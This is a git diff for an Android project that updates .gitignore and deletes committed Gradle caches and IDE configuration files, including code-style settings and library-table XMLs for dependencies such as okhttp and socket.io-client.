diff --git a/.gitignore b/.gitignore
index 7609d89..b79083b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -10,5 +10,5 @@ coverage
 .lock-wscript
 build/Release
 node_modules
-client/.gradle/*
-client/.idea/*
+.gradle
+.idea
diff --git a/APK_SouceCode/.gradle/5.1.1/executionHistory/executionHistory.bin b/APK_SouceCode/.gradle/5.1.1/executionHistory/executionHistory.bin
deleted file mode 100644
index ee7e1b1..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/executionHistory/executionHistory.bin and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/executionHistory/executionHistory.lock b/APK_SouceCode/.gradle/5.1.1/executionHistory/executionHistory.lock
deleted file mode 100644
index c11ba41..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/executionHistory/executionHistory.lock and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/fileChanges/last-build.bin b/APK_SouceCode/.gradle/5.1.1/fileChanges/last-build.bin
deleted file mode 100644
index f76dd23..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/fileChanges/last-build.bin and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/fileContent/fileContent.lock b/APK_SouceCode/.gradle/5.1.1/fileContent/fileContent.lock
deleted file mode 100644
index 014ef9c..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/fileContent/fileContent.lock and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/fileHashes/fileHashes.bin b/APK_SouceCode/.gradle/5.1.1/fileHashes/fileHashes.bin
deleted file mode 100644
index 2f2e5f2..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/fileHashes/fileHashes.bin and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/fileHashes/fileHashes.lock b/APK_SouceCode/.gradle/5.1.1/fileHashes/fileHashes.lock
deleted file mode 100644
index efbf714..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/fileHashes/fileHashes.lock and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/fileHashes/resourceHashesCache.bin b/APK_SouceCode/.gradle/5.1.1/fileHashes/resourceHashesCache.bin
deleted file mode 100644
index f6b02c4..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/fileHashes/resourceHashesCache.bin and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/gc.properties b/APK_SouceCode/.gradle/5.1.1/gc.properties
deleted file mode 100644
index e69de29..0000000
diff --git a/APK_SouceCode/.gradle/5.1.1/javaCompile/classAnalysis.bin b/APK_SouceCode/.gradle/5.1.1/javaCompile/classAnalysis.bin
deleted file mode 100644
index 13c7dd3..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/javaCompile/classAnalysis.bin and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/javaCompile/javaCompile.lock b/APK_SouceCode/.gradle/5.1.1/javaCompile/javaCompile.lock
deleted file mode 100644
index b12fee8..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/javaCompile/javaCompile.lock and /dev/null differ
diff --git a/APK_SouceCode/.gradle/5.1.1/javaCompile/taskHistory.bin b/APK_SouceCode/.gradle/5.1.1/javaCompile/taskHistory.bin
deleted file mode 100644
index f9b93e2..0000000
Binary files a/APK_SouceCode/.gradle/5.1.1/javaCompile/taskHistory.bin and /dev/null differ
diff --git a/APK_SouceCode/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/APK_SouceCode/.gradle/buildOutputCleanup/buildOutputCleanup.lock
deleted file mode 100644
index 6bab6a8..0000000
Binary files a/APK_SouceCode/.gradle/buildOutputCleanup/buildOutputCleanup.lock and /dev/null differ
diff --git a/APK_SouceCode/.gradle/buildOutputCleanup/cache.properties b/APK_SouceCode/.gradle/buildOutputCleanup/cache.properties
deleted file mode 100644
index 84da4a1..0000000
--- a/APK_SouceCode/.gradle/buildOutputCleanup/cache.properties
+++ /dev/null
@@ -1,2 +0,0 @@
-#Fri Aug 23 22:31:36 BST 2019
-gradle.version=5.1.1
diff --git a/APK_SouceCode/.gradle/buildOutputCleanup/outputFiles.bin b/APK_SouceCode/.gradle/buildOutputCleanup/outputFiles.bin
deleted file mode 100644
index 6e60c6e..0000000
Binary files a/APK_SouceCode/.gradle/buildOutputCleanup/outputFiles.bin and /dev/null differ
diff --git a/APK_SouceCode/.gradle/vcs-1/gc.properties b/APK_SouceCode/.gradle/vcs-1/gc.properties
deleted file mode 100644
index e69de29..0000000
diff --git a/APK_SouceCode/.idea/caches/build_file_checksums.ser b/APK_SouceCode/.idea/caches/build_file_checksums.ser
deleted file mode 100644
index fb736db..0000000
Binary files a/APK_SouceCode/.idea/caches/build_file_checksums.ser and /dev/null differ
diff --git a/APK_SouceCode/.idea/caches/gradle_models.ser b/APK_SouceCode/.idea/caches/gradle_models.ser
deleted file mode 100644
index fe83068..0000000
Binary files a/APK_SouceCode/.idea/caches/gradle_models.ser and /dev/null differ
diff --git a/APK_SouceCode/.idea/codeStyles/Project.xml b/APK_SouceCode/.idea/codeStyles/Project.xml
deleted file mode 100644
index 3279b6b..0000000
--- a/APK_SouceCode/.idea/codeStyles/Project.xml
+++ /dev/null
@@ -1,116 +0,0 @@
-<component name="ProjectCodeStyleConfiguration">
-  <code_scheme name="Project" version="173">
-    <codeStyleSettings language="XML">
-      <indentOptions>
-        <option name="CONTINUATION_INDENT_SIZE" value="4" />
-      </indentOptions>
-      <arrangement>
-        <rules>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>xmlns:android</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>^$</XML_NAMESPACE>
-                </AND>
-              </match>
-            </rule>
-          </section>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>xmlns:.*</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>^$</XML_NAMESPACE>
-                </AND>
-              </match>
-              <order>BY_NAME</order>
-            </rule>
-          </section>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>.*:id</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
-                </AND>
-              </match>
-            </rule>
-          </section>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>.*:name</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
-                </AND>
-              </match>
-            </rule>
-          </section>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>name</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>^$</XML_NAMESPACE>
-                </AND>
-              </match>
-            </rule>
-          </section>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>style</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>^$</XML_NAMESPACE>
-                </AND>
-              </match>
-            </rule>
-          </section>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>.*</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>^$</XML_NAMESPACE>
-                </AND>
-              </match>
-              <order>BY_NAME</order>
-            </rule>
-          </section>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>.*</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
-                </AND>
-              </match>
-              <order>ANDROID_ATTRIBUTE_ORDER</order>
-            </rule>
-          </section>
-          <section>
-            <rule>
-              <match>
-                <AND>
-                  <NAME>.*</NAME>
-                  <XML_ATTRIBUTE />
-                  <XML_NAMESPACE>.*</XML_NAMESPACE>
-                </AND>
-              </match>
-              <order>BY_NAME</order>
-            </rule>
-          </section>
-        </rules>
-      </arrangement>
-    </codeStyleSettings>
-  </code_scheme>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/encodings.xml b/APK_SouceCode/.idea/encodings.xml
deleted file mode 100644
index f13fa33..0000000
--- a/APK_SouceCode/.idea/encodings.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="Encoding" addBOMForNewFiles="with NO BOM" />
-</project>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/gradle.xml b/APK_SouceCode/.idea/gradle.xml
deleted file mode 100644
index f5f1ec4..0000000
--- a/APK_SouceCode/.idea/gradle.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="GradleSettings">
-    <option name="linkedExternalProjectsSettings">
-      <GradleProjectSettings>
-        <compositeConfiguration>
-          <compositeBuild compositeDefinitionSource="SCRIPT" />
-        </compositeConfiguration>
-        <option name="distributionType" value="DEFAULT_WRAPPED" />
-        <option name="externalProjectPath" value="$PROJECT_DIR$" />
-        <option name="resolveModulePerSourceSet" value="false" />
-      </GradleProjectSettings>
-    </option>
-  </component>
-</project>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml
deleted file mode 100644
index 7c9c26a..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: android.arch.core:common:1.1.1@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.core/common/1.1.1/e55b70d1f5620db124b3e85a7f4bdc7bd48d9f95/common-1.1.1.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.core/common/1.1.1/ae9b923fc99c1fc5a7a9b6cedc6df8b2b8529c54/common-1.1.1-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml
deleted file mode 100644
index e3bb0a0..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: android.arch.lifecycle:common:1.1.1@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/common/1.1.1/207a6efae6a3555e326de41f76bdadd9a239cbce/common-1.1.1.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/common/1.1.1/bcdaa509a856d1430e736b102f899aa9870a8f83/common-1.1.1-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml b/APK_SouceCode/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml
deleted file mode 100644
index 162d966..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: android.arch.lifecycle:runtime:1.1.1@aar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/3a461149442b48b518c68ee23118541e/jars/classes.jar!/" />
-      <root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/3a461149442b48b518c68ee23118541e/res" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/runtime/1.1.1/8e4214221b3797b863dc9998d16abb4af043e784/runtime-1.1.1-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml
deleted file mode 100644
index 11e0095..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml
+++ /dev/null
@@ -1,9 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support:collections:28.0.0@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support/collections/28.0.0/c1bcdade4d3cc2836130424a3f3e4182c666a745/collections-28.0.0.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES />
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml
deleted file mode 100644
index e42e057..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml
+++ /dev/null
@@ -1,9 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support:support-annotations:28.0.0@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support/support-annotations/28.0.0/ed73f5337a002d1fd24339d5fb08c2c9d9ca60d8/support-annotations-28.0.0.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES />
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml
deleted file mode 100644
index 21fe56b..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml
+++ /dev/null
@@ -1,13 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support:support-compat:28.0.0@aar">
-    <ANNOTATIONS>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/670cd3dfcfe81a504e9b8c0029c4cc31/annotations.zip!/" />
-    </ANNOTATIONS>
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/670cd3dfcfe81a504e9b8c0029c4cc31/jars/classes.jar!/" />
-      <root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/670cd3dfcfe81a504e9b8c0029c4cc31/res" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES />
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml
deleted file mode 100644
index 31a7843..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support.test.espresso:espresso-core:2.2.2@aar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/f248ec95ff978aef25f22661bac3040e/jars/classes.jar!/" />
-      <root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/f248ec95ff978aef25f22661bac3040e/res" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test.espresso/espresso-core/2.2.2/114039ff105fc481a629b55882f2c5c7a614e32a/espresso-core-2.2.2-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml
deleted file mode 100644
index ec72fff..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support.test.espresso:espresso-idling-resource:2.2.2@aar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/b0b42e0d99aec2397392fa8235f7f8c7/jars/classes.jar!/" />
-      <root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/b0b42e0d99aec2397392fa8235f7f8c7/res" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test.espresso/espresso-idling-resource/2.2.2/bc8e66874feb004144562e64053cf95b4c7b3eb7/espresso-idling-resource-2.2.2-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml
deleted file mode 100644
index e6381e4..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support.test:exposed-instrumentation-api-publish:0.5@aar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/a9b595b872e51552bc63531071c46983/jars/classes.jar!/" />
-      <root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/a9b595b872e51552bc63531071c46983/res" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/exposed-instrumentation-api-publish/0.5/493e9b2f2905ddc7f1a152446cc1d9d00ded10b0/exposed-instrumentation-api-publish-0.5-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml
deleted file mode 100644
index ac86aba..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support.test:rules:0.5@aar">
-    <ANNOTATIONS>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/annotations.zip!/" />
-    </ANNOTATIONS>
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/jars/classes.jar!/" />
-      <root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/res" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/rules/0.5/eb0523edeca93697d4c4b767277b407ed5920258/rules-0.5-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml
deleted file mode 100644
index fc4864c..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support.test:runner:0.5@aar">
-    <ANNOTATIONS>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/annotations.zip!/" />
-    </ANNOTATIONS>
-    <CLASSES>
-      <root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/res" />
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/jars/classes.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/runner/0.5/d13156b1f4d8dc7013cd8b3b1284b22bd3b44d23/runner-0.5-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml
deleted file mode 100644
index 150f87c..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml
+++ /dev/null
@@ -1,10 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.android.support:versionedparcelable:28.0.0@aar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/ea97d4d9175faefe95b26bcc8eeeb899/jars/classes.jar!/" />
-      <root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/ea97d4d9175faefe95b26bcc8eeeb899/res" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES />
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml
deleted file mode 100644
index 8793362..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml
+++ /dev/null
@@ -1,9 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.google.code.findbugs:jsr305:2.0.1@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.google.code.findbugs/jsr305/2.0.1/516c03b21d50a644d538de0f0369c620989cd8f0/jsr305-2.0.1.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES />
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml
deleted file mode 100644
index 787e8f7..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.squareup:javawriter:2.1.1@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup/javawriter/2.1.1/67ff45d9ae02e583d0f9b3432a5ebbe05c30c966/javawriter-2.1.1.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup/javawriter/2.1.1/5b31387d839a5cdaf5b6de3990da01f7f2b963c5/javawriter-2.1.1-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml
deleted file mode 100644
index 5f36b7a..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.squareup.okhttp3:okhttp:3.5.0@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okhttp3/okhttp/3.5.0/4b0bb6bfbecbdd42b97ff400af342bfe7f32bc83/okhttp-3.5.0.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okhttp3/okhttp/3.5.0/e3e18da88ab466f63f28e542dcbce804aa4a1d49/okhttp-3.5.0-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml
deleted file mode 100644
index 4b53e0a..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: com.squareup.okio:okio:1.11.0@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okio/okio/1.11.0/840897fcd7223a8143f1d9b6f69714e7be34fd50/okio-1.11.0.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okio/okio/1.11.0/46bdbd0e079883accbf581986e7f8f0d999a2637/okio-1.11.0-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml
deleted file mode 100644
index 47c70ba..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: io.socket:engine.io-client:0.8.3@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/engine.io-client/0.8.3/854b49396e1e9f9bb0ab025062ddb49c4ed65ca1/engine.io-client-0.8.3.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/engine.io-client/0.8.3/3073f6f52ab83a72d713beb8749d42abe9618227/engine.io-client-0.8.3-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml
deleted file mode 100644
index 2f6e776..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: io.socket:socket.io-client:0.8.3@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/socket.io-client/0.8.3/b30500232ff0668a47c9f91f02e6935457a52fb5/socket.io-client-0.8.3.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/socket.io-client/0.8.3/723d717cd5ee534d430f3af42a88f39b6195846f/socket.io-client-0.8.3-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml
deleted file mode 100644
index 834e8f2..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: javax.annotation:javax.annotation-api:1.2@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.2/479c1e06db31c432330183f5cae684163f186146/javax.annotation-api-1.2.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.2/ad18a02db08eaee697f812e333f692fc51129e4a/javax.annotation-api-1.2-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
diff --git a/APK_SouceCode/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml b/APK_SouceCode/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml
deleted file mode 100644
index 761f28f..0000000
--- a/APK_SouceCode/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<component name="libraryTable">
-  <library name="Gradle: javax.inject:javax.inject:1@jar">
-    <CLASSES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/6975da39a7040257bd51d21a231b76c915872d38/javax.inject-1.jar!/" />
-    </CLASSES>
-    <JAVADOC />
-    <SOURCES>
-      <root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/a00123f261762a7c5e0ec916a2c7c8298d29c400/javax.inject-1-sources.jar!/" />
-    </SOURCES>
-  </library>
-</component>
\ No newline at end of file
